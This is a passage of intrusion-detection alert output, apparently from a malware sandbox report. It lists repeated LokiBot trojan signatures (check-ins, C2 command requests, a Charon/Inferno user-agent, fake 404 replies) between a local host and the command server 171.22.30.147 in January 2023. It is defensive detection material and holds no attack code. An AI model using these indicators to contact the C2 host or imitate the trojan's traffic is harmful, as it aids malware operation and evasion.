Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749973802021641 01/05/23-08:53:32.829653
SID:	2021641
Source Port:	49973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749881802024318 01/05/23-08:53:04.500331
SID:	2024318
Source Port:	49881
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749882802825766 01/05/23-08:53:04.789158
SID:	2825766
Source Port:	49882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749998802025381 01/05/23-08:53:39.461942
SID:	2025381
Source Port:	49998
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749814802025381 01/05/23-08:52:44.953030
SID:	2025381
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499112025483 01/05/23-08:53:14.096617
SID:	2025483
Source Port:	80
Destination Port:	49911
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749831802025381 01/05/23-08:52:49.539016
SID:	2025381
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749960802825766 01/05/23-08:53:28.475539
SID:	2825766
Source Port:	49960
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749984802021641 01/05/23-08:53:35.743967
SID:	2021641
Source Port:	49984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749701802025381 01/05/23-08:52:07.731855
SID:	2025381
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749999802024313 01/05/23-08:53:39.715844
SID:	2024313
Source Port:	49999
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750064802025381 01/05/23-08:53:58.597698
SID:	2025381
Source Port:	50064
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749859802825766 01/05/23-08:52:58.622571
SID:	2825766
Source Port:	49859
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749935802021641 01/05/23-08:53:20.565175
SID:	2021641
Source Port:	49935
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749949802025381 01/05/23-08:53:24.361661
SID:	2025381
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749854802825766 01/05/23-08:52:57.240558
SID:	2825766
Source Port:	49854
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750036802025381 01/05/23-08:53:51.046851
SID:	2025381
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498292025483 01/05/23-08:52:49.086295
SID:	2025483
Source Port:	80
Destination Port:	49829
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749858802024313 01/05/23-08:52:58.341182
SID:	2024313
Source Port:	49858
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749829802021641 01/05/23-08:52:49.001962
SID:	2021641
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749772802021641 01/05/23-08:52:31.644906
SID:	2021641
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749867802021641 01/05/23-08:53:00.773467
SID:	2021641
Source Port:	49867
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749954802025381 01/05/23-08:53:25.726692
SID:	2025381
Source Port:	49954
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749805802825766 01/05/23-08:52:42.467353
SID:	2825766
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749861802021641 01/05/23-08:52:59.149010
SID:	2021641
Source Port:	49861
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749819802025381 01/05/23-08:52:46.293306
SID:	2025381
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500002025483 01/05/23-08:53:40.075634
SID:	2025483
Source Port:	80
Destination Port:	50000
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500822025483 01/05/23-08:54:03.613532
SID:	2025483
Source Port:	80
Destination Port:	50082
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498722025483 01/05/23-08:53:02.170418
SID:	2025483
Source Port:	80
Destination Port:	49872
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749776802025381 01/05/23-08:52:33.619524
SID:	2025381
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749920802025381 01/05/23-08:53:16.511672
SID:	2025381
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497412025483 01/05/23-08:52:22.999014
SID:	2025483
Source Port:	80
Destination Port:	49741
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749895802021641 01/05/23-08:53:08.372653
SID:	2021641
Source Port:	49895
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499272025483 01/05/23-08:53:18.508316
SID:	2025483
Source Port:	80
Destination Port:	49927
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749928802825766 01/05/23-08:53:18.678448
SID:	2825766
Source Port:	49928
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749922802825766 01/05/23-08:53:17.061545
SID:	2825766
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749952802024313 01/05/23-08:53:25.200806
SID:	2024313
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749952802024318 01/05/23-08:53:25.200806
SID:	2024318
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749785802825766 01/05/23-08:52:36.951784
SID:	2825766
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497852025483 01/05/23-08:52:37.034393
SID:	2025483
Source Port:	80
Destination Port:	49785
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749833802825766 01/05/23-08:52:50.090304
SID:	2825766
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749851802825766 01/05/23-08:52:56.435777
SID:	2825766
Source Port:	49851
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749938802021641 01/05/23-08:53:21.374225
SID:	2021641
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498282025483 01/05/23-08:52:48.817477
SID:	2025483
Source Port:	80
Destination Port:	49828
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497082025483 01/05/23-08:52:10.878854
SID:	2025483
Source Port:	80
Destination Port:	49708
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749956802021641 01/05/23-08:53:26.250117
SID:	2021641
Source Port:	49956
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499712025483 01/05/23-08:53:32.380645
SID:	2025483
Source Port:	80
Destination Port:	49971
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749749802024318 01/05/23-08:52:25.162571
SID:	2024318
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750015802025381 01/05/23-08:53:43.993137
SID:	2025381
Source Port:	50015
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750083802021641 01/05/23-08:54:03.789158
SID:	2021641
Source Port:	50083
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749746802024313 01/05/23-08:52:24.299560
SID:	2024313
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749749802024313 01/05/23-08:52:25.162571
SID:	2024313
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749832802024318 01/05/23-08:52:49.809310
SID:	2024318
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750016802024313 01/05/23-08:53:44.267939
SID:	2024313
Source Port:	50016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500162025483 01/05/23-08:53:44.354822
SID:	2025483
Source Port:	80
Destination Port:	50016
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750019802024313 01/05/23-08:53:45.311637
SID:	2024313
Source Port:	50019
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749924802024318 01/05/23-08:53:17.587003
SID:	2024318
Source Port:	49924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750073802825766 01/05/23-08:54:00.951462
SID:	2825766
Source Port:	50073
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750016802024318 01/05/23-08:53:44.267939
SID:	2024318
Source Port:	50016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749734802021641 01/05/23-08:52:20.978367
SID:	2021641
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749832802024313 01/05/23-08:52:49.809310
SID:	2024313
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749921802024313 01/05/23-08:53:16.794242
SID:	2024313
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750019802024318 01/05/23-08:53:45.311637
SID:	2024318
Source Port:	50019
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749921802024318 01/05/23-08:53:16.794242
SID:	2024318
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749774802024318 01/05/23-08:52:32.369884
SID:	2024318
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749706802021641 01/05/23-08:52:09.771973
SID:	2021641
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749978802024313 01/05/23-08:53:34.155329
SID:	2024313
Source Port:	49978
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749709802021641 01/05/23-08:52:11.256691
SID:	2021641
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749774802024313 01/05/23-08:52:32.369884
SID:	2024313
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749748802025381 01/05/23-08:52:24.879047
SID:	2025381
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750018802025381 01/05/23-08:53:44.999195
SID:	2025381
Source Port:	50018
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749925802825766 01/05/23-08:53:17.874226
SID:	2825766
Source Port:	49925
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749860802024313 01/05/23-08:52:58.886735
SID:	2024313
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498782025483 01/05/23-08:53:03.786236
SID:	2025483
Source Port:	80
Destination Port:	49878
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749747802825766 01/05/23-08:52:24.577114
SID:	2825766
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749978802024318 01/05/23-08:53:34.155329
SID:	2024318
Source Port:	49978
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749860802024318 01/05/23-08:52:58.886735
SID:	2024318
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749877802825766 01/05/23-08:53:03.433942
SID:	2825766
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749926802025381 01/05/23-08:53:18.143087
SID:	2025381
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498562025483 01/05/23-08:52:57.873353
SID:	2025483
Source Port:	80
Destination Port:	49856
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749912802021641 01/05/23-08:53:14.329479
SID:	2021641
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497142025483 01/05/23-08:52:13.439751
SID:	2025483
Source Port:	80
Destination Port:	49714
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500382025483 01/05/23-08:53:51.682835
SID:	2025483
Source Port:	80
Destination Port:	50038
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749788802825766 01/05/23-08:52:37.784136
SID:	2825766
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499872025483 01/05/23-08:53:36.633144
SID:	2025483
Source Port:	80
Destination Port:	49987
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749746802024318 01/05/23-08:52:24.299560
SID:	2024318
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749924802024313 01/05/23-08:53:17.587003
SID:	2024313
Source Port:	49924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498342025483 01/05/23-08:52:50.604457
SID:	2025483
Source Port:	80
Destination Port:	49834
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750070802825766 01/05/23-08:54:00.166694
SID:	2825766
Source Port:	50070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499832025483 01/05/23-08:53:35.550441
SID:	2025483
Source Port:	80
Destination Port:	49983
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750047802825766 01/05/23-08:53:54.007519
SID:	2825766
Source Port:	50047
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750048802021641 01/05/23-08:53:54.265201
SID:	2021641
Source Port:	50048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498502025483 01/05/23-08:52:56.257670
SID:	2025483
Source Port:	80
Destination Port:	49850
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749719802825766 01/05/23-08:52:15.841614
SID:	2825766
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750054802024313 01/05/23-08:53:55.890469
SID:	2024313
Source Port:	50054
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499462025483 01/05/23-08:53:23.634143
SID:	2025483
Source Port:	80
Destination Port:	49946
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749871802025381 01/05/23-08:53:01.829225
SID:	2025381
Source Port:	49871
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500222025483 01/05/23-08:53:46.752847
SID:	2025483
Source Port:	80
Destination Port:	50022
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500262025483 01/05/23-08:53:48.419968
SID:	2025483
Source Port:	80
Destination Port:	50026
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749849802024318 01/05/23-08:52:55.895226
SID:	2024318
Source Port:	49849
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749947802024318 01/05/23-08:53:23.814636
SID:	2024318
